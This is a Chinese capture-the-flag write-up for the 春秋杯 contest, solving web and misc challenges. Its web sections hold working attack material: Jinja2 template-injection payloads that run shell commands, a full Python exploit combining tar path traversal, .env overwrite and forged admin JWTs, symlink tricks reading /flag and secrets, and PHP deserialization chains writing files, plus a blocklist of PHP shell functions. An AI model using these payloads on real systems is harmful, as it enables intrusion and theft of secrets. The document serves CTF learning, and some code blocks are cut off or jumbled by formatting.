春秋杯

文章所有内容部分来自自己写的,部分来自各路非公开wp,部分来自公开wp(附上链接,在文章末尾)

easy_flask

1
{{().__class__.__mro__.__getitem__(1).__subclasses__()[133].__init__.__globals__['popen']('cat+flag').read()}}
1
{{[].__class__.__base__.__subclasses__()[394]('cat /app/flag',shell=True,stdout=-1).communicate()[0].strip()}}

copy

1
https://github.com/synacktiv/php_filter_chains_oracle_exploit?tab=readme-ov-file
1
python3 filters_chain_oracle_exploit.py --target  http://eci-2ze17shnva9hcdar8b2n.cloudeci1.ichunqiu.com --file '/flag' --parameter path

思路是对的,跑不出来

Gotar

漏洞分析,追踪upload控制器,最下边的extractTar调用了extractDir,

分析调用,extractDir、extractSymlink、extractFile三个函数都调用了outputPath

可以构造恶意路径如:exp/../exp.txt 经过outputPath函数处理后,最终路径位../exp.txt 实现目录遍历漏洞👇

1
2
3
mkdir exp
echo "hack" > exp/secret.txt
tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/secret.txt```

login里面有重新加载env的代码,直接用·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import jwt
import datetime
import os
import tarfile
import sys
import requests
import random
import string

def generate_random_string(length):
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))

def send_request(session, method, path, data=None, files=None, headers=None):
url = f"http://{session.url}{path}"
response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'})
return response


def generate_jwt(user_id, is_admin, jwt_key):
expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
claims = {
'UserID': user_id,
'IsAdmin': is_admin,
'exp': expiration_time
}
token = jwt.encode(claims, jwt_key, algorithm='HS256')
return token

def create_malicious_tar():
# Create the directory and .env file
os.makedirs('exp', exist_ok=True)
with open('exp/.env', 'w') as f:
f.write("JWT_SECRET=hack")

# Create the tar file with the path traversal
with tarfile.open('hack.tar', 'w') as tar:
tar.add('exp/.env', arcname='exp/../../../.env')

def exp(url, token):
payload = "echo `cat /flag` > /var/www/html/public/flag.txt"

session = requests.Session()
session.url = url

random_string = generate_random_string(4)

user_data = {
"username": random_string,
"password": random_string
}
response1 = send_request(session, 'POST', '/register', data=user_data)
if response1.status_code != 200:
return "Failed to register"
response2 = send_request(session, 'POST', '/login', data=user_data)
if response2.status_code != 200:
return "Failed to login"

with open('hack.tar', 'rb') as f:
files = {'file': f}
response3 = send_request(session, 'POST', '/upload', files=files)
if response3.status_code != 200:
return "Failed to upload malicious tar file"
print("Malicious tar file uploaded successfully")

# 触发加载环境变量
send_request(session, 'GET', '/login')
headers = {
'Cookie': f'token={token}'
}
response4 = send_request(session, 'GET', '/download/1', headers=headers)
return response4.text

if __name__ == "__main__":
create_malicious_tar()
print("Malicious tar file created: hack.tar")

jwt_key = "hack"
user_id = 1
is_admin = True

token = generate_jwt(user_id, is_admin, jwt_key)
print("Generated JWT:", token)

URL = sys.argv[1]
flag = exp(URL, token)
print(flag)

挣扎了一下还是算了,go语言不会,粘个*LAMENTXU* *WRITEUP*

1
2
3
4
5
6
7
8
9
10
11
直接看核心逻辑解压了tar文件之后可以直接访问。一眼顶针软连接
ln -sf /flag flag
tar cf flag.tar ../../flag
提交,访问/assets/extracted/flag即可(我感觉这个像是非预期)

另一种解法是读取env里的jwt密钥伪造admin用户出
ln -sf ../../../.env 2/envlink
tar -cvf 3.tar 2/envlink
打包传上去,访问拿到jwt_secret,伪造1admin为true即可
Jwt:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySUQiOjEsIklzQWRtaW4iOnRydWUsImV4cCI6MTczNzE4ODA1Mn0.FRDw-GypUzmiA1QxYShpGNpiQEjZAhZz19GQGJFgYms
flag{b1f79e3a-12f5-46d5-9574-d09068a3ecca}

easy_ser

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
听说pop挺好玩的
<?php
//error_reporting(0);
function PassWAF1($data){
$BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec", "pcntl_exec", "passthru", "popen", "putenv");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}

function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}

function PassWAF3($data){
$BlackList = array("\.\.", "\/");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}

function Base64Decode($s){
$decodeStr = base64_decode($s);
if (is_bool($decodeStr)) {
echo "gg";
exit(-1);
}
return $decodeStr;
}

class STU{

public $stu;
public function __construct($stu){
$this->stu = $stu;
}

public function __invoke(){
echo $this->stu;
}
}


class SDU{
public $Dazhuan;

public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}


class CTF{
public $hackman;
public $filename;

public function __toString(){

$data = Base64Decode($this->hackman);
$filename = $this->filename;

if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}

file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}

public function __destruct(){
echo "bye";
}
}

$give = $_POST['data'];
if (isset($_POST['data'])) {
unserialize($give);
} else {
echo "<center>听说pop挺好玩的</center>";
highlight_file(__FILE__);
}

代码分析

  1. waf1是个过滤关键字

  2. waf2坏在一句话上,这就得保证代码在16字符以内

    • $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16

      - `sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string)`:格式化输出当前处理的数据:

      - `%08x`:以 8 位十六进制格式输出 `$count`,并在前面补充零。用于显示当前行的字节偏移量。
      - `%-40s`:输出十六进制字符串 `$hex_string`,并确保它的宽度为 40 个字符,左对齐。
      - `%-16s`:输出 ASCII 字符串 `$ascii_string`,并确保它的宽度为 16 个字符,左对齐。
      - `\n`:每行末尾添加换行符。

      3. waf3就过滤俩字符

      - ..和/

      所以目的就是写文件,写个读取根目录flag的文件出来,保证码的内容16个字符以内

      脚本

filename="a.php"; $c->hackman="PD89YGNhdCAvZipgOw=="; $b=new STU(); $a=new SDU(); $b->stu=$c; $a->Dazhuan=$b; echo serialize($a);
1
2
3
4
5
6
7

![image-20250118235909367](https://github.com/DDL08/images/blob/img/img/image-20250118235909367.png?raw=true)

![image-20250118235947419](https://github.com/DDL08/images/blob/img/img/image-20250118235947419.png?raw=true)

## easy_code

6.66999999999999999999999999999999999999999e2 = 667.00000000000000000000000000000000000000000。 在浮点数表示中,667.000... 会被自动四舍五入为 667,即去除多余的小数部分。
1

Hackbar里设置cookie为pass=admin Include那里使用php://filter配合convert.iconv修改字符集使用 file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php
1
2
3

## python jail

import base64 from random import randint with open("flag", "r") as f: flag = f.read() BOX = [randint(1, 9999) for _ in range(624)] print("Give me your solve:") user_input = input().strip() try: user_code = base64.b64decode(user_input).decode() except Exception: print("Invalid base64 input") exit(1) assert len(user_code) <= 121, "Input exceeds maximum allowed length" exec_globals = {"__builtins__": None} exec_locals = {} try: exec(user_code, exec_globals, exec_locals) except Exception: print("Error") exit(1) s = exec_locals.get("s", None) if s == BOX: print(flag) else: print("Incorrect")
1
2
3
4
5

## book

留个

location = $location; } public function getLocation() { return $this->location; } private $location; public function getContent() { return file_get_contents($this->location); } public function setContent($content) { file_put_contents($this->location, $content); } } $book = new Book(); $book->id = 'kengwang_aura'; $book->title = 'test'; $book->author = 'test'; $partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"'; $partB = 'Reader'; $partC = 'location";s:14:"books/shel.php";}};'; $payload = $partA . "\x00" . $partB . "\x00" . $partC; $length = strlen($partA) + strlen($partB) + strlen($partC) + 2; echo "[+] Payload length: " . $length . "\n"; $book->summary = str_repeat('\'', $length) . $payload; $book->reader = new Reader('books/' . 'abc'); function waf($data) { return str_replace("'", "\\'", $data); } echo "[+] Summary: "; echo urlencode($book->summary); $res = waf(serialize($book)); echo "\n[+] Serialized payload: "; echo base64_encode($res); echo "\n"; $newBook = unserialize($res); echo "[+] Location: "; echo $newBook->reader->getLocation();
1
2
3
4
5
6
7



# misc

## 简单算数

# 给定的加密字符串 encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b" # 尝试不同的密钥 for key in range(256): # 遍历所有256个可能的字节值 decrypted_str = ''.join(chr(ord(c) ^ key) for c in encrypted_str) print(f"Key: {key} -> {decrypted_str}")
1
2
3

或者

# 加密字符串和目标flag(假设目标flag是CTF{...}的形式) encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b" target_flag = "flag" # 假设flag是'flag' # 将目标flag和加密字符串的每个字符转换为ASCII值 encrypted_ascii = [ord(c) for c in encrypted_str] flag_ascii = [ord(c) for c in target_flag] # 找到密钥(通过目标flag字符的异或操作得到密钥) key = [encrypted_ascii[i] ^ flag_ascii[i] for i in range(len(target_flag))] # 打印密钥,密钥字符 print("密钥的ASCII值:", key) print("密钥对应的字符:", ''.join(chr(k) for k in key)) # 使用密钥解密加密字符串 decrypted = ''.join(chr(encrypted_ascii[i] ^ key[i % len(key)]) for i in range(len(encrypted_str))) print("解密后的字符串:", decrypted)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

## See anything in these pics?

https://products.aspose.app/barcode/zh-hans/recognize/aztec#/recognized

![image-20250119122520012](https://github.com/DDL08/images/blob/img/img/image-20250119122520012.png?raw=true)

![image-20250119122824084](https://github.com/DDL08/images/blob/img/img/image-20250119122824084.png?raw=true)

放随波涿流跑一下直接出(改长宽

![image-20250119130301359](https://github.com/DDL08/images/blob/img/img/image-20250119130301359.png?raw=true)

flag{opium_00pium}

## 通往哈希的旅程

hashcat -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
1

flag{18876011645}
1
2
3

### 法二

https://www.somd5.com/
1
2
3
4
5

直接去这里面查

## 小hash

flag{game_cqb_isis_cxyz}
1
2
3

## 简单镜像提取

flag{E7A10C15E26AA5750070EF756AAA1F7C}
1
2
3

## 压缩包

import zipfile import os import base64 import re def read_password_file(password_file): """读取并解码密码文件""" with open(password_file, 'r') as f: content = f.read().strip() # Base64解码 decoded = base64.b64decode(content).decode() return decoded def extract_zip(zip_path, password): """解压zip文件并返回解压出的zip文件路径(如果存在)""" dir_name = os.path.dirname(zip_path) with zipfile.ZipFile(zip_path) as zf: zf.extractall(path=dir_name, pwd=password.encode()) extracted_files = zf.namelist() # 查找解压出的zip文件 for file in extracted_files: if file.endswith('.zip'): return os.path.join(dir_name, file) return None def collect_all_passwords(start_zip): """收集所有解压过程中的密码""" current_zip = start_zip passwords = [] processed_files = set() while current_zip and os.path.exists(current_zip): if current_zip in processed_files: print(f"警告:发现重复的zip文件 {current_zip},停止处理") break processed_files.add(current_zip) # 从文件名中提取数字 current_number = re.search(r'(\d+)', os.path.basename(current_zip)).group(1) password_file = f'password_{current_number}.txt' if not os.path.exists(password_file): print(f"密码文件 {password_file} 不存在,停止处理") break print(f"处理: {current_zip}") print(f"使用密码文件: {password_file}") try: password = read_password_file(password_file) passwords.append(password) print(f"解码后的密码: {password[:20]}...") # 只显示前20个字符 # 解压文件 next_zip = extract_zip(current_zip, password) if next_zip: print(f"发现新的zip文件: {next_zip}") current_zip = next_zip else: print("未找到更多的zip文件,处理完成!") break except Exception as e: print(f"处理出错: {str(e)}") break return passwords def clean_password(password): """清理密码中的非十六进制字符""" return ''.join(c for c in password if c in '0123456789ABCDEFabcdef') def create_png_from_passwords(passwords, output_file="flag.png"): """从密码列表创建PNG文件""" # 反转密码列表(因为需要从最后一个开始) passwords = passwords[::-1] # 清理并组合所有密码 cleaned_hex = '' found_png_header = False for password in passwords: cleaned = clean_password(password) if '89504E47' in cleaned.upper(): print("找到PNG文件头") found_png_header = True if found_png_header: cleaned_hex += cleaned print(f"处理后的十六进制数据长度: {len(cleaned_hex)}") try: # 确保长度是偶数 if len(cleaned_hex) % 2 != 0: cleaned_hex = cleaned_hex[:-1] # 转换为二进制数据 binary_data = bytes.fromhex(cleaned_hex) # 写入PNG文件 with open(output_file, "wb") as f: f.write(binary_data) print(f"成功创建PNG文件: {output_file}") return True except Exception as e: print(f"创建PNG文件时出错: {str(e)}") return False def main(): """主函数,执行完整的处理流程""" # 起始文件 start_zip = "zip_98.zip" print("步骤1: 开始收集所有密码...") passwords = collect_all_passwords(start_zip) if not passwords: print("未收集到任何密码!") return print(f"\n步骤2: 共收集到 {len(passwords)} 个密码") print("\n步骤3: 开始生成PNG文件...") if create_png_from_passwords(passwords): print("\n处理完成!请查看生成的flag.png文件") else: print("\n生成PNG文件失败!") if __name__ == "__main__": main()
1
2
3
4
5

![image-20250117114159520](https://github.com/DDL08/images/blob/img/img/image-20250117114159520.png?raw=true)

## ez_forensics

语法 python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan|grep zip 查文件 python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan -Q XXXX -D . 提取文件 python2 vol.py -f ezforensics.raw --profile=Win7SP1x64 hashdump 查hash
1
2
3
4
5
6
7
8
9
10
11
12
13

![image-20250119171937783](https://github.com/DDL08/images/blob/img/img/image-20250119171937783.png?raw=true)

![image-20250119171912418](https://github.com/DDL08/images/blob/img/img/image-20250119171912418.png?raw=true)

## findme

![image-20250119181029378](https://github.com/DDL08/images/blob/img/img/image-20250119181029378.png?raw=true)

# 参考

官方1

https://mp.weixin.qq.com/s/IhJiiZKWtp1wS7qAIZer-A
1
2
3

官方2

https://mp.weixin.qq.com/s/xUNRwOoYWRfNm5iZ1RKeKw ```